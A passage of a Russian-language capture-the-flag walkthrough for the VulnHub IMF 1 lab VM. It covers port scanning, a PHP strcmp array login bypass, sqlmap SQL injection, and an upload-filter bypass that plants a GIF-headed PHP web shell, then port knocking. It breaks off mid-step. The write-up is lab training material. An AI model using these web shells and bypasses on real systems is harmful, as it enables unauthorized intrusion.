{"id":283321,"date":"2016-12-31T00:30:04","date_gmt":"2016-12-30T21:30:04","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=283321"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=283321","title":{"rendered":"VulnHub: \u0420\u0430\u0437\u0431\u043e\u0440 IMF 1 \u0438 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430"},"content":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/a14\/628\/00e\/a1462800e3304114b5a0ef997826cf71.png\"\/><\/p>\n<pre><code class=\"bash\">$ sudo arp-scan -l -I wlan0| grep &quot;CADMUS COMPUTER SYSTEMS&quot; | awk '{print $1}' | xargs sudo nmap -sV -p1-65535<\/code><\/pre>\n<p>  <\/p>\n<blockquote><p>Starting Nmap 7.01 ( <a href=\"https:\/\/nmap.org\">nmap.org<\/a> ) at 2016-12-25 22:41 MSK<br \/>  Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br \/>  SYN Stealth Scan Timing: About 1.40% done; ETC: 22:44 (0:03:31 remaining)<br \/>  Nmap scan report for 192.168.1.116<br \/>  Host is up (0.00046s latency).<br \/>  PORT STATE SERVICE VERSION<br \/>  80\/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br \/>  MAC Address: 08:00:27:40:8D:1B (Oracle VirtualBox virtual NIC)<\/p><\/blockquote>\n<p>  <a name=\"habracut\"><\/a>  <\/p>\n<h3>Flag 1<\/h3>\n<p>  \u041f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u0435\u043c \u043a \u043f\u043e\u0438\u0441\u043a\u0443 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435:  <\/p>\n<pre><code class=\"bash\">$ sudo dirsearch -u 'http:\/\/192.168.1.116' -e php,html,bak,txt,jpg,json -w \/usr\/share\/dirb\/wordlists\/big.txt -r -f -x 403<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/487\/d9d\/b8f\/487d9db8ffdb4a82bf9f38f5dabfb9d5.png\"\/><\/p>\n<p>  \u041f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044f \u043a\u0430\u0436\u0434\u0443\u044e \u0438\u0437 \u043d\u0430\u0439\u0434\u0435\u043d\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438 \u0438\u0445 \u043a\u043e\u0434, \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 <i>contact.php<\/i>, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043f\u0435\u0440\u0432\u044b\u0439 \u0444\u043b\u0430\u0433:  <\/p>\n<pre><code>&lt;section id=&quot;service&quot;&gt;         &lt;div class=&quot;container&quot;&gt;             &lt;!-- flag1{YWxsdGhlZmlsZXM=} --&gt;             &lt;div class=&quot;service-wrapper&quot;&gt;                 &lt;div class=&quot;row&quot;&gt;                     &lt;div class=&quot;col-md-4 col-sm-6&quot;&gt;                         &lt;div class=&quot;block wow fadeInRight&quot; data-wow-delay=&quot;1s&quot;&gt;                             &lt;div class=&quot;icon&quot;&gt;                                &lt;i class=&quot;fa fa-desktop&quot;&gt;&lt;\/i&gt;                              &lt;\/div&gt;                             &lt;h3&gt;Roger S. Michaels&lt;\/h3&gt;                             &lt;p&gt;rmichaels@imf.local&lt;\/p&gt;                             &lt;p&gt;Director&lt;\/p&gt;                         &lt;\/div&gt;                     &lt;\/div&gt;                     &lt;div class=&quot;col-md-4 col-sm-6&quot;&gt;                         &lt;div class=&quot;block wow fadeInRight&quot; data-wow-delay=&quot;1.3s&quot;&gt;                             &lt;div class=&quot;icon&quot;&gt;                                 &lt;i class=&quot;fa  fa-paper-plane&quot;&gt;&lt;\/i&gt;                             &lt;\/div&gt;                             &lt;h3&gt;Alexander B. Keith&lt;\/h3&gt;                             &lt;p&gt;akeith@imf.local&lt;\/p&gt;                             &lt;p&gt;Deputy Director&lt;\/p&gt;                         &lt;\/div&gt;                     &lt;\/div&gt;                     &lt;div class=&quot;col-md-4 col-sm-6&quot;&gt;                         &lt;div class=&quot;block wow fadeInRight&quot; data-wow-delay=&quot;1.6s&quot;&gt;                             &lt;div class=&quot;icon&quot;&gt;                                 &lt;i class=&quot;fa  fa-file-text&quot;&gt;&lt;\/i&gt;                             &lt;\/div&gt;                             &lt;h3&gt;Elizabeth R. Stone&lt;\/h3&gt;                             &lt;p&gt;estone@imf.local&lt;\/p&gt;                             &lt;p&gt;Chief of Staff&lt;\/p&gt;                         &lt;\/div&gt;                     &lt;\/div&gt;                 &lt;\/div&gt;             &lt;\/div&gt;         &lt;\/div&gt; &lt;\/section&gt; <\/code><\/pre>\n<p>  \u041f\u043e\u043c\u0438\u043c\u043e \u0444\u043b\u0430\u0433\u0430 <i>flag1{YWxsdGhlZmlsZXM=}<\/i>, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0442\u0443\u0442 \u0435\u0449\u0451 \u0438 \u0441\u043f\u0438\u0441\u043e\u043a e-mail \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432:  <\/p>\n<blockquote><p>estone@imf.local<br \/>  akeith@imf.local<br \/>  rmichaels@imf.local<\/p><\/blockquote>\n<p>  \u0421\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u0435\u0433\u043e \u043f\u043e\u043a\u0430, \u0430 \u0440\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0432 \u0444\u043b\u0430\u0433, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0443 \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443:  <\/p>\n<pre><code class=\"bash\">$ echo YWxsdGhlZmlsZXM= | base64 -d allthefiles<\/code><\/pre>\n<h3>Flag 2<\/h3>\n<p>  \u041f\u0440\u0438 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u043c \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435, \u0442\u0430\u043c \u0436\u0435 \u0432 \u043a\u043e\u0434\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u0432\u043e\u0442 \u0442\u0430\u043a\u043e\u0439 \u0443\u0447\u0430\u0441\u0442\u043e\u043a:  <\/p>\n<pre><code>        &lt;script src=&quot;js\/ZmxhZzJ7YVcxbVl.js&quot;&gt;&lt;\/script&gt;         &lt;script src=&quot;js\/XUnRhVzVwYzNS.js&quot;&gt;&lt;\/script&gt;         &lt;script src=&quot;js\/eVlYUnZjZz09fQ==.min.js&quot;&gt;&lt;\/script&gt; <\/code><\/pre>\n<p>  \u041f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 base64. \u0421\u043e\u0435\u0434\u0438\u043d\u0438\u0432 \u0432\u0441\u0451 \u0432\u043c\u0435\u0441\u0442\u0435, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0432\u0442\u043e\u0440\u043e\u0439 \u0444\u043b\u0430\u0433:  <\/p>\n<pre><code class=\"bash\">$ echo ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ== | base64 -d flag2{aW1mYWRtaW5pc3RyYXRvcg==} $ echo aW1mYWRtaW5pc3RyYXRvcg== | base64 -d imfadministrator <\/code><\/pre>\n<h3>Flag 3<\/h3>\n<p>  \u041d\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435, \u043a\u0440\u0443\u0442\u0438\u0442\u0441\u044f \u0444\u043e\u0440\u043c\u0430 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438, \u0438 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0432 \u043a\u043e\u0434\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/3db\/373\/53e\/3db37353ea984aef9120246ee2f9beaf.png\"\/>  <\/p>\n<pre><code>&lt;form method=&quot;POST&quot; action=&quot;&quot;&gt; &lt;label&gt;Username:&lt;\/label&gt;&lt;input type=&quot;text&quot; name=&quot;user&quot; value=&quot;&quot;&gt;&lt;br \/&gt; &lt;label&gt;Password:&lt;\/label&gt;&lt;input type=&quot;password&quot; name=&quot;pass&quot; value=&quot;&quot;&gt;&lt;br \/&gt; &lt;input type=&quot;submit&quot; value=&quot;Login&quot;&gt; &lt;!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger --&gt; &lt;\/form&gt;<\/code><\/pre>\n<p>  \u0425\u043c, \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u0434\u043b\u044f \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0441\u0442\u0440\u043e\u043a \u0441 \u0443\u0447\u0451\u0442\u043e\u043c \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430 \u0432 PHP \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043b\u0438\u0431\u043e <i>==<\/i>, \u043b\u0438\u0431\u043e <i>strcmp<\/i>. \u0423 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439, \u0435\u0441\u0442\u044c \u043e\u0434\u043d\u0430 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c, \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u0435\u0440\u043d\u0451\u0442 0, \u0435\u0441\u043b\u0438 \u0441\u0442\u0440\u043e\u043a\u0430 \u0431\u0443\u0434\u0435\u0442 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0441 \u043c\u0430\u0441\u0441\u0438\u0432\u043e\u043c. <br \/>  \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0442\u0443\u0442 \u044d\u0442\u043e. \u0417\u0430\u043c\u0435\u043d\u0438\u0432 <i>pass<\/i> \u043d\u0430 <i>pass[]<\/i>, \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u043e\u0434 \u043b\u043e\u0433\u0438\u043d\u043e\u043c: rmichaels. \u0412\u0441\u0451 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0443\u0441\u043f\u0435\u0448\u043d\u043e! +1 \u0444\u043b\u0430\u0433:  <\/p>\n<pre><code>flag3{Y29udGludWVUT2Ntcw==}&lt;br \/&gt;Welcome, rmichaels&lt;br \/&gt;&lt;a href='cms.php?pagename=home'&gt;IMF CMS&lt;\/a&gt;<\/code><\/pre>\n<p>  <\/p>\n<pre><code class=\"bash\">$ echo Y29udGludWVUT2Ntcw== | base64 -d continueTOcms<\/code><\/pre>\n<h3>Flag 4<\/h3>\n<p>  \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435, \u0438 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u043c \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/91b\/0f9\/d8f\/91b0f9d8f0774bf990bea9787fbf4177.png\"\/><\/p>\n<p>  \u041f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0432 \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u0441\u0440\u0430\u0437\u0443 \u043d\u0430\u043c\u0435\u043a\u0430\u0435\u0442 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0411\u0414, \u043b\u0438\u0431\u043e \u043d\u0430 <a href=\"https:\/\/www.owasp.org\/index.php\/Path_Traversal\">Path Traversal<\/a>. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0442\u0434\u0430\u0451\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0432 <i>sqlmap<\/i> \u0438 \u043d\u0430\u0441\u043b\u0430\u0436\u0434\u0430\u0435\u043c\u0441\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c:  <\/p>\n<pre><code class=\"bash\">sudo sqlmap -u 'http:\/\/192.168.1.116\/imfadministrator\/cms.php?pagename=home' --cookie 'PHPSESSID=pms0cbae74vmfta3spk4kac5q5' --level=5 --risk=3 --dbs --random-agent<\/code><\/pre>\n<p>  \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439:  <\/p>\n<blockquote><p>[15:23:55] [INFO] GET parameter &#8216;pagename&#8217; appears to be &#8216;AND boolean-based blind \u2014 WHERE or HAVING clause&#8217; injectable (with &#8212;string=\u00abthe\u00bb)<br \/>  [15:23:55] [INFO] heuristic (extended) test shows that the back-end DBMS could be &#8216;MySQL&#8217; <br \/>  [15:24:10] [INFO] GET parameter &#8216;pagename&#8217; is &#8216;MySQL UNION query (NULL) \u2014 1 to 20 columns&#8217; injectable<\/p><\/blockquote>\n<p>  \u0418 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0441\u0447\u0451\u0442\u0435, <i>sqlmap<\/i> \u0432\u044b\u0434\u0430\u0451\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0431\u0430\u0437 \u0434\u0430\u043d\u043d\u044b\u0445:  <\/p>\n<blockquote><p>available databases [5]: <br \/>  [*] admin<br \/>  [*] information_schema<br \/>  [*] mysql<br \/>  [*] performance_schema<br \/>  [*] sys  <\/p><\/blockquote>\n<p>  \u0422\u0443\u0442 \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0431\u0430\u0437\u0430 <i>Admin<\/i>, \u0441 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435\u0439 <i>pages<\/i>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0414\u0430\u043c\u043f \u044d\u0442\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u044b<\/b><\/p>\n<div class=\"spoiler_text\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/8a8\/ace\/286\/8a8ace28621a492e8b904d1c2e05e76f.png\"\/>  <\/div>\n<\/div>\n<p>  \u0422\u0443\u0442 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0439 \u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b <i>tutorials-incomplete<\/i>. \u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e \u0438\u0437 \u043a\u043e\u0434\u0430, \u0442\u0430\u043c \u0432\u0441\u0435\u0433\u043e \u043e\u0434\u043d\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/d33\/dba\/53c\/d33dba53c584445aa23461c8b0da6e8d.jpg\"\/><\/p>\n<p>  QR \u043a\u043e\u0434 \u0442\u0443\u0442 \u044f\u0432\u043d\u043e \u043b\u0438\u0448\u043d\u0438\u0439, \u0432\u044b\u0440\u0435\u0437\u0430\u0435\u043c \u0435\u0433\u043e \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u043d\u0430 <a href=\"http:\/\/decodeit.ru\/qr\">\u0441\u0430\u0439\u0442<\/a>, \u0433\u0434\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0444\u043b\u0430\u0433: <i>flag4{dXBsb2Fkcjk0Mi5waHA=}<\/i> \u0438 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0443:  <\/p>\n<pre><code class=\"bash\">$ echo dXBsb2Fkcjk0Mi5waHA= | base64 -d uploadr942.php<\/code><\/pre>\n<h3>Flag 5<\/h3>\n<p>  \u041f\u0435\u0440\u0435\u0439\u0434\u044f \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0444\u043e\u0440\u043c\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u041f\u043e\u0441\u043b\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u043c, \u0447\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f: \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a, \u0442\u0430\u043a \u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u0430. \u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438, \u0432 \u043a\u043e\u0434\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430:  <\/p>\n<pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;File Uploader&lt;\/title&gt; &lt;\/head&gt; &lt;body&gt; &lt;h1&gt;Intelligence Upload Form&lt;\/h1&gt;  File successfully uploaded. &lt;!-- 4e8c80f6f326 --&gt;&lt;form id=&quot;Upload&quot; action=&quot;&quot; enctype=&quot;multipart\/form-data&quot; method=&quot;post&quot;&gt; \t&lt;p&gt;  \t\t&lt;label for=&quot;file&quot;&gt;File to upload:&lt;\/label&gt;  \t\t&lt;input id=&quot;file&quot; type=&quot;file&quot; name=&quot;file&quot;&gt;  \t&lt;\/p&gt;                        &lt;p&gt;      \t&lt;input id=&quot;submit&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Upload&quot;&gt;      &lt;\/p&gt;  &lt;\/form&gt; &lt;\/body&gt; &lt;\/html&gt;<\/code><\/pre>\n<p>  \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e <i>uploads<\/i>, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0442\u0430\u043c \u043d\u0430\u0448 \u0444\u0430\u0439\u043b. \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0437\u0430\u043b\u0438\u0442\u044c \u0448\u0435\u043b\u043b \u0447\u0435\u0440\u0435\u0437 \u0444\u0430\u0439\u043b <i>shell.gif<\/i>:  <\/p>\n<pre><code class=\"php\">GIF89a &lt;?php system($_GET['cmd']); ?&gt;<\/code><\/pre>\n<p>  \u0418 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0432 \u043e\u0442\u0432\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0443!<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/f60\/fc7\/9c3\/f60fc79c38ab45d6a666a96b3ced1bfb.png\"\/><\/p>\n<p>  \u041e\u041a, \u0438\u0437 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 PHP \u043a \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c <i>system<\/i> \u0438 <i>exec<\/i>, \u043c\u043e\u0436\u043d\u043e \u0443\u0437\u043d\u0430\u0442\u044c \u0447\u0442\u043e \u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0438\u0445 \u0442\u0430\u043a \u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u043e\u0442 \u0442\u0430\u043a\u0443\u044e \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e:  <\/p>\n<pre><code class=\"php\">echo `id`;<\/code><\/pre>\n<p>  \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u043c \u0448\u0435\u043b\u043b \u0438 \u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0435\u0433\u043e:  <\/p>\n<pre><code class=\"php\">GIF89a &lt;?php $cmd=$_GET['cmd']; print(`$cmd`); ?&gt;<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/94c\/ff5\/aa1\/94cff5aa11c94c339e6dd2ceb05577ad.png\"\/><\/p>\n<p>  \u042d\u0442\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e! \u041e\u0442\u043b\u0438\u0447\u043d\u043e! \u041d\u0430\u0445\u043e\u0434\u0438\u043c \u0432 \u044d\u0442\u043e\u043c \u0436\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u043f\u044f\u0442\u044b\u0439 \u0444\u043b\u0430\u0433 <i>flag5{YWdlbnRzZXJ2aWNlcw==}<\/i><br \/>  \u0418 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u0430\u044f \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0430, \u043a\u0443\u0434\u0430 \u0434\u0432\u0438\u0433\u0430\u0442\u044c\u0441\u044f \u0434\u0430\u043b\u044c\u0448\u0435:  <\/p>\n<pre><code class=\"bash\">$ echo YWdlbnRzZXJ2aWNlcw== | base64 -d agentservices<\/code><\/pre>\n<h3>Flag 6<\/h3>\n<p>  \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0438\u0441\u043a\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0438\u0441, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 PHP shell (\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 \u044d\u0442\u043e\u0442 \u0448\u0435\u043b\u043b \u0431\u0443\u0434\u0443\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0442\u044c\u0441\u044f \u0441 &quot;&gt; &quot;). \u0412\u044b\u0432\u043e\u0434 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0434\u0430\u043b, \u0430 \u0432\u043e\u0442 \u0444\u0430\u0439\u043b <i>services<\/i> \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c:  <\/p>\n<pre><code class=\"bash\">&gt; cat \/etc\/services | grep agent cmip-agent\t164\/tcp cmip-agent\t164\/udp zabbix-agent\t10050\/tcp\t\t\t# Zabbix Agent zabbix-agent\t10050\/udp agent\t\t7788\/tcp\t\t\t# Agent service<\/code><\/pre>\n<p>  \u0412\u0441\u0451 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e, \u043a\u0440\u043e\u043c\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0440\u043e\u043a\u0438. \u041d\u043e <i>nmap<\/i> \u043d\u0435 \u043d\u0430\u0448\u0451\u043b \u044d\u0442\u043e\u0442 \u043f\u043e\u0440\u0442 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0441\u0435\u0440\u0432\u0438\u0441 \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c, \u043b\u0438\u0431\u043e \u0442\u0443\u0442 <i>port knocking<\/i>.<br \/>  \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0435\u0433\u043e:  <\/p>\n<pre><code class=\"bash\">&gt; agent<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/713\/42f\/baf\/71342fbaf8ed4e28b2747514330b25dc.png\"\/><\/p>\n<p>  \u0421\u0435\u0440\u0432\u0438\u0441 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0441\u044f, \u0432\u044b\u0434\u0430\u043b \u043f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u043f\u043e\u0440\u0442 \u043f\u043e \u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d. \u041f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u043e\u0442\u044b\u0441\u043a\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0440\u044f\u0434\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b:  <\/p>\n<pre><code class=\"bash\">&gt; whereis agent agent: \/usr\/local\/bin\/agent &gt; ls -ahl \/usr\/local\/bin\/ -rw-r--r--  1 root root   19 Oct 16 08:11 access_codes -rwxr-xr-x  1 root root  12K Oct 12 22:39 agent &gt; cat \/usr\/local\/bin\/access_codes SYN 7482,8279,9467<\/code><\/pre>\n<p>  \u0414\u0430, \u044d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 port knocking, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c:  <\/p>\n<pre><code class=\"bash\">sudo knock 192.168.1.116 7482 8279 9467; sudo nmap 192.168.1.116 -p7788<\/code><\/pre>\n<p>  <\/p>\n<blockquote><p>Starting Nmap 7.01 ( <a href=\"https:\/\/nmap.org\">nmap.org<\/a> ) at 2016-12-30 22:31 MSK<br \/>  Nmap scan report for 192.168.1.116<br \/>  Host is up (0.00030s latency).<br \/>  PORT STATE SERVICE<br \/>  7788\/tcp open unknown<br \/>  MAC Address: 08:00:27:40:8D:1B (Oracle VirtualBox virtual NIC)  <\/p><\/blockquote>\n<p>  \u041f\u043e\u0440\u0442 \u043e\u0442\u043a\u0440\u044b\u043b\u0441\u044f, \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u043d\u0435\u043c\u0443, \u0441\u043d\u043e\u0432\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0440\u0438\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 <i>agent<\/i>. <br \/>  \u042d\u0442\u043e \u0432\u0441\u0451 \u0445\u043e\u0440\u043e\u0448\u043e, \u043d\u043e \u0434\u043b\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u044d\u0442\u0438\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c \u0435\u043c\u0443 \u043d\u0443\u0436\u043d\u043e 